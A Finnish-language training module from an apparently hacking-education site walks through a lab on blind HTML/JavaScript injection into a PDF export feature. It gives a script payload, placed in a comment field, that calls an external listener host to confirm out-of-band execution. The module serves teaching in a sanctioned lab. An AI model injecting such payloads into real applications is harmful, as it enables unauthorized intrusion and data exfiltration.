PDF-export-injektio - Sokea injektio
Joskus voi olla tilanne, että tiedät sovelluksen suorittavan HTML-koodin, mutta joko et näe lopullista PDF-dokumenttia tai sitten syötetty HTML-koodi ei vain yksinkertaisesti mahdu tai pääse visuaalisesti oikeaan kohtaan dokumentissa. Silloin täytyy suorittaa sokea injektio ja vuotaa tiedot toista reittiä pitkin. Tutustutaan tähän tässä moduulissa.
Tässä moduulissa ratkaisemme labran yhdessä. Voit halutessasi lopettaa lukemisen ja yrittää ratkaisua itse. Muussa tapauksessa voit seurata alla olevia vaiheita omaan tahtiin.
Haavoittuvuuden todentaminen
Sovellus on lähes samanlainen kuin edellisessä moduulissa paitsi, että tällä kertaa sovellus ei anna meidän ladata generoimaansa PDF-tiedostoa. Meidän täytyy siis todentaa haavoittuvuus muilla keinoin.
Tähän soveltuu Hakatemian kuuntelijatyökalu mitä parhaiten. Aloitetaan luomalla uusi kuuntelija URL-osoite ja kirjoitetaan JavaScript-koodi, joka kutsuu kyseistä URL-osoitetta. Näin pystymme todentamaan kaksi asiaa.
- Onko JavaScript-koodin käyttö sallittu
- Tapahtuuko PDF-generointi järjestelmässä josta voimme kommunikoida ulkoverkkoon
Joskus HTTP-pyyntö ei tule perille mutta DNS tulee. Tämä voi esimerkiksi tarkoittaa, että edessä on jokin palomuuri joka estää liikenteen. Tyypillisesti DNS on kuitenkin sallittu. Jos HTTP-pyyntö eikä DNS liikenne ilmesty kuuntelijaan, kannattaa kokeilla muita HTML-elementtejä kuten kuva ja tyyli resursseja. Näin selviää onko JavaScript-koodin ajaminen estetty.
Käytämme seuraavaa koodia ja asetamme sen kommentti kenttään. Tämän jälkeen lähetämme profiilin arviointiin.
1<script>
2
3x=new XMLHttpRequest;
4x.open("GET","https://z8u013a69c.hit.ha-listener.com");
5x.send();
6
7</script>Näemme kuuntelijassa osuman ja näin olemme varmistaneet, että sovellus on haavoittuvainen sekä sallii JavaScript-koodin ajamisen. Voimme myös kommunikoida ulospäin JavaScript-koodilla.

Hakkeroinnin oppiminen alkaa tästä
Sadat interaktiiviset kurssit, virtuaalilabrat ja CTF-haasteet selaimessasi. Aloita ilmainen kokeilu ilman korttitietoja.